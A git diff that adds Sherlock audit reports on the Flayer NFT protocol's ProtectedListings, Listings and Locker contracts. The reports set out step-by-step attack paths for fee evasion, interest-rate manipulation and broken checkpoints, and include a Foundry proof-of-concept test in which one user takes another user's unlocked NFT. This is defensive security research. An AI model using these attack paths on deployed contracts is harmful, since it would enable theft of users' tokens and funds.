+ emit ListingsCreated(_createListing.collection, _createListing.tokenIds, listing, Enums.ListingType.DUTCH, 0, 0, msg.sender);
+ }
+
+```
+And since _isLiquidation is marked as true, fillListings() or createListings() also do not require any fees to be paid.
+
+Attack scenario and steps:
+
+ 1. The malicious user uses one NFT to call ProtectedListings::createListings() and obtains the maximum amount of 0.95e18 collectionToken.
+ 2. The malicious user, using another account, calls liquidateProtectedListing() in the next block to liquidate the NFT and obtains 0.05e18 collectionToken.
+ 3. The NFT is now listed in Listings without needing to pay any tax.
+
+Remaining limitations:
+
+ 1. The user pays a small amount of interest for the one-block duration.
+ 2. The final listing has a duration of 4 days and a price of 400, which is suitable for most NFTs.
+
+
+
+## Impact
+The protocol lost the tax fee collection.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L178
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider applying a tax fee to the liquidation listing of NFTs.
\ No newline at end of file
diff --git a/001/438.md b/001/438.md
new file mode 100644
index 0000000..35752a9
--- /dev/null
+++ b/001/438.md
@@ -0,0 +1,71 @@
+Amateur Cornflower Fish
+
+Medium
+
+# Users can create permanent protected listings and inflate interest rates
+
+## Summary
+User can create permanently protected listings which influence utilization and interest rates
+## Vulnerability Detail
+Steps to produce:
+1) User invokes `ProtectedListings.createListing` with, for example, `tokenTaken` = 0.90e18 and `collateral` = 0.10e18
+2) Some time passes and user accrues some negligible interest, not enough to put them for liquidation (e.g 0.01e18)
+3) User invokes `adjustPosition` with `_amount = -0.90e18` in order to repay their `tokenTaken`
+4) This method will pass as per the snippet below
+```solidity
+
+ int debt = getProtectedListingHealth(_collection, _tokenId); // 0.95e18 - 0.91e18 = 0.04e18
+
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount); // 0.90e18
+
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ if (_amount < 0) {
+
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse(); // 0.04e18 + 0.90e18 >= 0.95e18 -> pass
+
+ collectionToken.transferFrom( // sends tokens
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount); // @audit becomes 0 since tokenTaken = absAmount
+ }
+```
+User now has a non-liquidatable protected listing due to `getProtectedListingHealth` always returning 0.95e18
+
+```solidity
+ function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+
+ return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId)); // @note unlockPrice is always 0 since tokenTaken is also 0
+ }
+```
+Malicious users can abuse this as each protected listing in circulation increases the utilization rate which is based on `listingCount`. This comes at no expense of attacker since they can always invoke `unlockProtectedListing` and redeem their NFT at no cost since the fee during unlock is also based on `unlockPrice` which as stated above is now 0.
+
+```solidity
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+ collectionToken.burnFrom(msg.sender, fee);
+```
+Attack will become more detrimental as the utilization rate approaches the utilization kink where interest rates jump tremendously which will either charge honest users artificially increased interest rates or discourage them from interacting with the protocol.
+
+## Impact
+Artificial interest inflation at no cost
+## Code Snippet
+[`adjustPosition`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L366)
+## Tool used
+
+Manual Review
+
+## Recommendation
+During `adjustPosition`, whenever `tokenTaken` becomes 0, employ the last part of `unlockProtectedListing` where the listing is deleted and store `canWithdrawAsset[_collection][_tokenId] = msg.sender`
+```solidity
+ unchecked { --listingCount[_collection]; }
+
+ delete _protectedListings[_collection][_tokenId];
+
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+
+```
\ No newline at end of file
diff --git a/001/440.md b/001/440.md
new file mode 100644
index 0000000..7cb290e
--- /dev/null
+++ b/001/440.md
@@ -0,0 +1,50 @@
+Amateur Cornflower Fish
+
+High
+
+# Users can dodge `createListing` fees
+
+## Summary
+Users can abuse a loophole to create a listing for 5% less tax than intended, hijack others' tokens at floor value and perpetually relist for free.
+## Vulnerability Detail
+
+For the sake of simplicity, we assume that collection token denomination = 4 and floor price = 1e22
+
+Users who intend to create a `dutch` listing for any duration <= 4 days can do the following:
+1) Create a normal listing at min floor multiple = 101 and MIN_DUTCH_DURATION = 1 days, tax = 0.1457% (`tokensReceived` = 0.99855e22)
+2) [Reserve](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L690) their own listing from a different account for tokenTaken 0.95e18, collateral 0.05e18, collateral is burnt, protected listing is at 0 health and will be liquidatable in a few moments (`remainingTokens` = 0.94855e22)
+3) Liquidate their own listing through `liquidateProtectedListing`, receive KEEPER_REWARD = 0.05e22 (`remainingTokens` = 0.99855e22)
+4) `createLiquidationListing` is invoked with us as owner and hardcoded values `floorMultiple` = 400 and `duration` = 4 days
+
+User has paid 0.14% in tax for a listing that would've normally cost them 5.14% in tax.
+This process can be repeated any number of times even after the `liquidationListing` expires to constantly reserve-liquidate it instead of calling `relist` and paying further tax.
+
+There are numerous other ways in which this loophole of reserve-liquidate can be abused:
+1) Users can create listings for free out of any expired listing at floor value, they only burn 0.05e18 collateral which is then received back as `KEEPER_REWARD`
+2) Users can constantly cycle NFTs at floor value (since it is free) and make `liquidationListings`, either making profit if the token sells or making the token unpurchasable at floor since it is in the loop
+3) Any user-owned expired listing can be relisted for free through this method instead of paying tax by invoking `relist`
+
+## Impact
+Tax evasion
+## Code Snippet
+```solidity
+ _listings.createLiquidationListing(
+ IListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: listing.owner,
+ created: uint40(block.timestamp),
+ duration: 4 days,
+ floorMultiple: 400
+ })
+ })
+ );
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Impose higher minimum collateral and lower tokenTaken (e.g 0.2e18 and 0.8e18) so the `KEEPER_REWARD` would not cover the cost of burning collateral during reservation, making this exploit unprofitable.
\ No newline at end of file
diff --git a/001/441.md b/001/441.md
new file mode 100644
index 0000000..ce438c0
--- /dev/null
+++ b/001/441.md
@@ -0,0 +1,81 @@
+Amateur Cornflower Fish
+
+High
+
+# `ProtectedListings.sol` can't create more than 2 checkpoints
+
+## Summary
+Checkpoint creation mechanism during `createListings` will be inaccessible after the 2nd checkpoint is created
+## Vulnerability Detail
+During the first call of `createListings` the following logic is executed
+
+```solidity
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+```
+As this is the first call, `checkPointIndex` will be 0 and we proceed with the internal `_createCheckpoint`
+```solidity
+ index_ = collectionCheckpoints[_collection].length; // is 0 since it's first call
+
+ if (index_ == 0) { // if first call
+
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+
+ collectionCheckpoints[_collection].push( // @note this will push the first checkpoint ever with values compoundFactor: 1e18 and timestamp: block.timestamp
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+ }
+```
+Since it is first invoke, `_timePeriod` is set on 0 meaning that the initial compound factor starts from 1e18
+```solidity
+ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18; // returns 1e18
+```
+The internal execution ends here and returns `index_ = 0` which assigns it to `checkPointIndex` also as 0, stores it at the `checkPointKey` location in the assembly block
+
+Upon second invoke `checkPointIndex` is fetched form `checkPointKey`, again equal to 0, and the internal logic of `_createCheckPoint` is invoked once again however `index_ = collectionCheckPoints[_collection].length` will now equal 1. Afterwards the _currentcheckPoint is calculated and pushed in the array.
+```solidity
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ collectionCheckpoints[_collection].push(checkpoint);
+```
+After `_createCheckpoint` finishes execution it returns `index_` which now equals 1, the same value is assigned to `checkPointIndex` and is stored at the `checkPointKey` location.
+
+Every subsequent call of `createlistings` will not create a checkpoint since the call to `createCheckpoint` is behind an if-statement which we can no longer pass since `checkPointIndex`= 1. No more checkpoints can be created.
+
+This creates a huge issue which will result in all protected listings being treated as if they were created in `checkPointIndex = 1`.
+
+```solidity
+ assembly { checkpointIndex := tload(checkpointKey) } // @audit checkPointIndex = 1 since it is last stored value
+ if (checkpointIndex == 0) { // skip checkpoint creation
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination(); // @audit map listings invoked with stale checkpointIndex
+```
+
+At one point in the future all created protected listings will be instantly liquidatable as their `unlockPrice` will check the [`_currentCheckpoint`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L580-L595) against the one under index 1.
+
+## Impact
+Broken core functionality, loss of funds, unfair liquidations
+## Code Snippet
+see above
+## Tool used
+
+Manual Review
+
+## Recommendation
+Removing the entire `if (checkPointIndex == 0)` should resolve the issue
\ No newline at end of file
diff --git a/001/442.md b/001/442.md
new file mode 100644
index 0000000..c88c4a8
--- /dev/null
+++ b/001/442.md
@@ -0,0 +1,66 @@
+Amateur Cornflower Fish
+
+High
+
+# Protected listings can be closed for free
+
+## Summary
+Users with open protected listings can close them for free if they reduce their debt beforehand with `ProtectedListings.adjustPosition`
+## Vulnerability Detail
+For the sake of simplicity, we assume that token denomination = 4 and floorPrice = 1e18 * 10^denomination = 1e22
+
+The flow of the `protectedListing` method is the following:
+- user sends their NFT to `ProtectedListings.sol`
+- `ProtectedListings.sol` invokes `deposit` in `Locker.sol` and receives 1e22
+- `ProtectedListings.sol` sends `tokenTaken` number of tokens to user and the rest is left as collateral
+- Interest starts compounding on their `tokenTaken` and user's listing is healthy until `tokenTaken * compoundFactor > 0.95e18`
+
+When user wants to unlock their NFT they invoke `unlockProtectedListing` and they have to pay a fee
+```solidity
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+```
+The `unlockPrice` method calculates the interest by multiplying `tokenTaken` by `compoundedFactor` which is the % increase between the compound factor at the time of listing creation and current one.
+
+```solidity
+ uint compoundedFactor = _currentCheckpoint.compoundedFactor * 1e18 / _initialCheckpoint.compoundedFactor;
+ compoundAmount_ = _principle * compoundedFactor / 1e18; // @note principle = tokenTaken
+```
+However, users can invoke `adjustPosition` before `unlockProtectedListing` and repay `tokenTaken` without paying any interest, thus bringing it to 0 which will lead to `unlockPrice = 0`.
+
+Let's go through the following scenario:
+- User creates protected listing with `tokenTaken = 0.8e18` and `collateral = 0.2e18`
+- Some time passes and user yields 0.1e22 in interest so `unlockPrice = 0.9e18`, user is still healthy
+- User invokes `adjustPosition` with `_amount = -0.8e18`
+```solidity
+ int debt = getProtectedListingHealth(_collection, _tokenId); // = 0.95e18 - 0.90e18 = 0.05e18
+
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount); // = 0.8e18
+
+ if (_amount < 0) {
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse(); // if (0.05e18 + 0.80e18 >= 0.95e18) revert -> @audit does not revert, continues execution
+ }
+```
+As we see from the snippet above, the checks pass, user sends 0.8e22 collection tokens and has their `tokenTaken` reduced to 0
+
+```solidity
+ collectionToken.transferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+```
+Since `tokenTaken` equals 0, user can invoke `unlockProtectedListing` and pay 0 in fees since `unlockPrice` method will return a 0.
+## Impact
+Tax evasion
+## Code Snippet
+[`adjustPosition`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L366)
+## Tool used
+
+Manual Review
+
+## Recommendation
+Whenever users adjusts their position, make them pay a fee up to that point.
\ No newline at end of file
diff --git a/001/446.md b/001/446.md
new file mode 100644
index 0000000..ae30563
--- /dev/null
+++ b/001/446.md
@@ -0,0 +1,52 @@
+Lone Chartreuse Alpaca
+
+High
+
+# Checkpoint is Updated Before a Change In Utilization Rate When Creating a Protected Listing
+
+### Summary
+
+When creating a protected listing, the checkpoint is updated before any change in the utilization rate, thus storing the wrong compounded factor at the current timestamp, this further leads to pointing the listings to a wrong checkpoint.
+
+
+### Root Cause
+
+Whenever there is a change in the utilization rate of a collection, [ProtectedListings::_createCheckpoint](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L530-L572) is invoked to compute and update the stored compounded factor at the given timestamp.
+But when creating a protected listing via [ProtectedListings::createListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L117-L156) function, [_createCheckpoint](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L530-L572) is called to update the collections compounded factor at the current timestamp, but this action is done before new collection tokens are minted, thus computing using the wrong utilization rate at that timestamp. This in turn results in an increase in the interest accrued by the listings.
+
+For example, suppose the user amount taken is 10 and the compound factor is updated with the prior utilization rate as 1.11 instead of 1.12, which would be the factor after new collateral tokens are minted, when computing the new user balance plus fee when the factor is at 1.2:
+10 * 1.2/1.11 ==> 10.810 will be the new balance plus interest instead of 10 * 1.2/1.12 ==> 10.714
+making users always pay more interest than they should.
+
+Note that the more collection tokenIds listed the higher the effect, as all the listed tokenIds will be pointing to the wrongly computed checkpoint.
+
+Also the higher the change in utilization rate the higher the effect, for e.g 10% before createLIstings call to 50% utilization rate after the call.
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+
+Users will pay more interest than they should whenever they create a protected listing via [ProtectedListings::createListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L117-L156) function
+
+
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L117-L156
+
+### Mitigation
+
+should update the checkpoint after the new tokens have been minted.
+This should be done at the end of [_depositNftsAndReceiveTokens](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L165-L186) function, after the tokenids have been deposited into the Locker contract.
diff --git a/001/448.md b/001/448.md
new file mode 100644
index 0000000..22b10cb
--- /dev/null
+++ b/001/448.md
@@ -0,0 +1,131 @@
+Fancy Emerald Lark
+
+High
+
+# Manipulating collection token's total supply to manipulate `utilizationRate`
+
+## Summary
+You can liquidate the genuine and healthy protected listings by manipulating the utilization rate. You can also unlock your protected listing by paying minimal tax by again manipulating the utlization rate. Same with adjusting the listing to add/remove the token taken amounts, do add/remove more/less than allowed due to the listing health/unlock price manipulation that directly depends on the utilization rate.
+
+Root cause: allowing to mint/redeem collection tokens in a single transaction/block.
+Impact: ultra-high
+Likelikood: high
+
+## Vulnerability Detail
+`utilizationRate` which is used in accounting the tax and debt, fee calculation can be manipulated which in turn manipulates the protected listing health and listing's unlock price. This is possible because, the `utilizationRate` depends on the collection token's total supply which is again manipulatable by depositing multiple tokens inside the locker.
+The flow will be like this, deposit token ids into locker and mint the collection token of a collection, so that total supply increases. So now utilization rate decreases if total supply increases. Now interact with PROTECTED LISTING to adjust, unlock, or liquidate. All these actions depend on the listing health, listing's unlock price which depends on the difference between the compounding factor between different timestamps. These compound factors rely on utilization rate, which is manipulatable at will.
+
+Once protected listing actions are done, you can redeem the collection tokens that were minted and you will get back the token ids. This is pure manipulation, all done in one transaction. Attackers can even increase the utilization rate by first redeeming their collateral token that they bought with WETH from uniV4 pool, and decrease the total supply to minimum due to multiple redemption, and then interact with protected listing actions (adjust, liquidate, unlock) and then due to total supply reduction, the utilization rate is pumped to max and now you can liquidate at high debts and negative listing healths which are actually health when not manipulated. After all actions, you will deposit those token ids back and make the system back to normal. But this second strategy won't have high likelihood, because the tokens redeemable will be low because the deposited ones mostly is a listing, and you cannot redeem a listed token id.
+
+**One of the attack flow :**
+1. User creates a protected listing of BAYC 25, which has current collection total supply of 20e18 tokens (, also 10 listings count, 10 locked when pool initialization), so current utilization is 0.5e18 (50%).
+2. And user listed his at 2e18 compound factor at checkpoint 500, and user takes 0.7e18 tokens when listing
+3. So after 3 days, the checkpoint is 515 and compound factor is at 2.5e18 and the unlock price of the listing is 0.78e18 (0.08 ether tax) at current utilization rate
+4. And again 1 day passes, and the there isn't been much activity for a day, so no checkpoint is updated. In these times, the lister can deposit some BAYC into locker and pump the collection token supply and reduce the utilization rate by 1/3 or even half, and then now unlock the listing.
+5. Now the lister is supposed to pay 0.8 as repayment, but he will only pay 0.78 because the utilization rate is heavily down and the new compound factor at the current timestamp is literally close to the previous checkpoint. Hence the fee owed to repay will be 0.79 + some 0.002 depending on how well the utilization rate is dumped down. Check [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L304-L305).
+
+So, this is how the fee manipulation will happen. There are other flows too, but you get it. Manipulate the utilization rate, then adjust/liquidate/unlock your /other listing to abuse the manipulated unlock price/listing healths.
+
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L273
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L582-L591
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L497-L500
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L607-L617
+
+```solidity
+ProtectedListings.sol
+
+240: function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+242: listingsOfType_ = listingCount[_collection];
+243:
+246: if (listingsOfType_ != 0) {
+247: ICollectionToken collectionToken = locker.collectionToken(_collection);
+248:
+249: // If we have no totalSupply, then we have a zero percent utilization
+254: uint totalSupply = collectionToken.totalSupply();
+255: if (totalSupply != 0) {
+256: >>> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+257: }
+258: }
+259: }
+
+
+585: function _currentCheckpoint(address _collection) internal view returns (Checkpoint memory checkpoint_) {
+587: >>> (, uint _utilizationRate) = utilizationRate(_collection);
+588:
+590: Checkpoint memory previousCheckpoint = collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 1];
+591:
+593: checkpoint_ = Checkpoint({
+594: compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+595: _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
+596: >>> _utilizationRate: _utilizationRate,
+597: _timePeriod: block.timestamp - previousCheckpoint.timestamp
+598: }),
+599: timestamp: block.timestamp
+600: });
+601: }
+
+
+499: function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+502: return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+503: }
+
+
+612: function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+614: ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+615:
+617: unlockPrice_ = locker.taxCalculator().compound({
+618: _principle: listing.tokenTaken,
+619: >>> _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+620: >>> _currentCheckpoint: _currentCheckpoint(_collection)
+621: });
+622: }
+
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L69-L90
+
+```solidity
+TaxCalculator.sol
+
+110: function compound(
+111: uint _principle,
+112: IProtectedListings.Checkpoint memory _initialCheckpoint,
+113: IProtectedListings.Checkpoint memory _currentCheckpoint
+114: ) public pure returns (uint compoundAmount_) {
+117: if (_initialCheckpoint.timestamp >= _currentCheckpoint.timestamp) return _principle;
+120:
+123: uint compoundedFactor = _currentCheckpoint.compoundedFactor * 1e18 / _initialCheckpoint.compoundedFactor;
+124: compoundAmount_ = _principle * compoundedFactor / 1e18;
+125: }
+
+```
+
+## Impact
+You can liquidate the genuine and healthy protected listings by manipulating the utilization rate. You can also unlock your protected listing by paying minimal tax by again manipulating utlization rate. Same with adjusting the listing to add/remove the token taken amounts, do add/remove more/less than allowed due to the listng health/unlock price manipulation that directly depends on the utilization rate.
+
+Likelikood : high to medium.
+Loss of funds, so High severity.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L69-L90
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L273
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L582-L591
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L497-L500
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L607-L617
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Block mint/redeem within a single transaction or within 1 block. In that case, sudden deposit and redeem in 1 tx is not possible, so manipulating utilization rate is also not possible.
+
+Do the changes in Locker.sol, by introducing a new state, that `mininumDelay = 1 minute`, so that when a deposit is made, any new deposit/redeem can be done only after a minute. Or better track in number of blocks, like `minBlocksDelay`. Most dex protocols or LRT ones have this mechanism.
\ No newline at end of file
diff --git a/001/450.md b/001/450.md
new file mode 100644
index 0000000..f332a5c
--- /dev/null
+++ b/001/450.md
@@ -0,0 +1,110 @@
+Wobbly Neon Hyena
+
+Medium
+
+# `Locker::isListing` doesn't check if the token is unlocked and pending withdrawal, allowing users to steal unlocked tokens
+
+### Summary
+
+In the locker contract, whenever a user wants to redeem or swap a token, the contract checks if the token is part of an acting listing, by checking that in both listings and protected listings contract.
+```solidity
+function isListing(address _collection, uint _tokenId) public view returns (bool) {
+ IListings _listings = listings;
+
+ // Check if we have a liquid or dutch listing
+ if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ // Check if we have a protected listing
+ if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ return false;
+}
+```
+On the other hand, in the protected listings contract, a user can unlock his protected listing/token by paying the amount needed and choosing to withdraw that token later, when doing so:
+* The protected listing is deleted
+```solidity
+// Delete the listing objects
+delete _protectedListings[_collection][_tokenId];
+```
+* The token is added to the `canWithdrawAsset` mapping
+```solidity
+canWithdrawAsset[_collection][_tokenId] = msg.sender;
+```
+
+However, after the above, `Locker::isListing` will return false as the listing doesn't exist, while it is waiting to be claimed by the owner of the unlocked listing. This allows anyone to call either redeem or withdraw in the locker to steal that token.
+
+### Root Cause
+
+`Locker::isListing` doesn't check if the token is a part of `canWithdrawAsset` in protected listings, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L438C14-L452).
+
+### Impact
+
+Unlocked tokens could be stolen.
+
+### PoC
+
+Add the following test in `flayer/test/ProtectedListings.t.sol`:
+
+```solidity
+function test_StealUnlockedListing() public {
+ address bob = address(1);
+ ICollectionToken collectionToken = ICollectionToken(
+ locker.collectionToken(address(erc721a))
+ );
+
+ deal(address(collectionToken), bob, 4 ether);
+ deal(address(collectionToken), address(this), 4 ether);
+
+ uint256 tokenId = 0;
+ erc721a.mint(address(this), tokenId);
+
+ // THIS creates a protected listing
+ erc721a.approve(address(protectedListings), tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // THIS unlocks the listing
+ collectionToken.approve(address(protectedListings), type(uint256).max);
+ protectedListings.unlockProtectedListing(
+ address(erc721a),
+ tokenId,
+ false
+ );
+
+ // THIS is allowed to withdraw the asset
+ assertEq(
+ protectedListings.canWithdrawAsset(address(erc721a), tokenId),
+ address(this)
+ );
+
+ // Bob steals the asset
+ vm.startPrank(bob);
+ collectionToken.approve(address(locker), type(uint256).max);
+ locker.redeem(address(erc721a), _tokenIdToArray(tokenId), bob);
+ vm.stopPrank();
+
+ // Bob now owns the asset
+ assertEq(erc721a.ownerOf(tokenId), bob);
+
+ // THIS can no longer withdraw the asset, as it is owned by Bob
+ vm.expectRevert(bytes("ERC721: caller is not token owner or approved"));
+ protectedListings.withdrawProtectedListing(address(erc721a), tokenId);
+}
+```
+
+### Mitigation
+
+Add a condition to `Locker::isListing` to check if the token has a valid entry in `canWithdrawAsset`, if so, block the redemption/swap action.
\ No newline at end of file
diff --git a/001/457.md b/001/457.md
new file mode 100644
index 0000000..b0eac27
--- /dev/null
+++ b/001/457.md
@@ -0,0 +1,48 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# All Positions Become Susceptible to Liquidation While the Locker is Paused
+
+### Summary
+
+
+In ProtectedListings, users can't adjust their positions, in the event the locker is paused, users whose positions become liquidatable while the locker is paused, become immediately prone to liquidation after the locker is unpaused.
+
+
+
+### Root Cause
+
+
+The [ProtectedListings::adjustPosition](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L366-L417) function only queries [`locker.collectionToken`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L121-L123), and this function is callable even when the locker is paused, so restricting users from performing this action as a precaution only hurts the users.
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+
+Users positions could be subject to liquidation without a remedy
+
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L366-L417
+
+### Mitigation
+
+- Allow users to adjust their positions regardless of whether the locker contract is paused.
+- Remove the modifier from `liquidateProtectedListing` to permit liquidations even when the locker is locked.
+
+If we examine the functionality queried when filling a listing, such as [`locker.withdrawToken`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L353-L356), we can observe that it can still be queried even when the locker is locked.
+
+Consider removing the `lockerNotPaused` check from the `ProtectedListings` and `Listings` contracts, as the Locker contract is already handling these checks.
diff --git a/001/458.md b/001/458.md
new file mode 100644
index 0000000..e0717f1
--- /dev/null
+++ b/001/458.md
@@ -0,0 +1,187 @@
+Melodic Pickle Goose
+
+High
+
+# Locker actions affecting utilization rate are not checkpointed
+
+### Summary
+
+Utilization rate is not checkpointed at all times when necessary as depositing, redeeming and unbacked depositing to the Locker, for example, will affect the CT total supply while **not** affecting the collection's protected listings count and thus this will affect the utilization rate on which interest rates and liquidations rely on.
+
+
+### Root Cause
+
+Some functions of the **Locker** contract that alter the CollectionTokens' `totalSupply` do **not** checkpoint the collection's `compoundedFactor` which enables certain vulnerabilities outlined in the **Impact** section.
+
+1. [**Locker**#`deposit()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144-L166)
+```solidity
+ function deposit(address _collection, uint[] calldata _tokenIds, address _recipient) public
+ nonReentrant
+ whenNotPaused
+ collectionExists(_collection)
+ {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Take the ERC721 tokens from the caller
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Transfer the collection token from the caller to the locker
+ collection.transferFrom(msg.sender, address(this), _tokenIds[i]);
+ }
+
+ // Mint the tokens to the recipient
+ ICollectionToken token = _collectionToken[_collection];
+→ token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+
+ emit TokenDeposit(_collection, _tokenIds, msg.sender, _recipient);
+ }
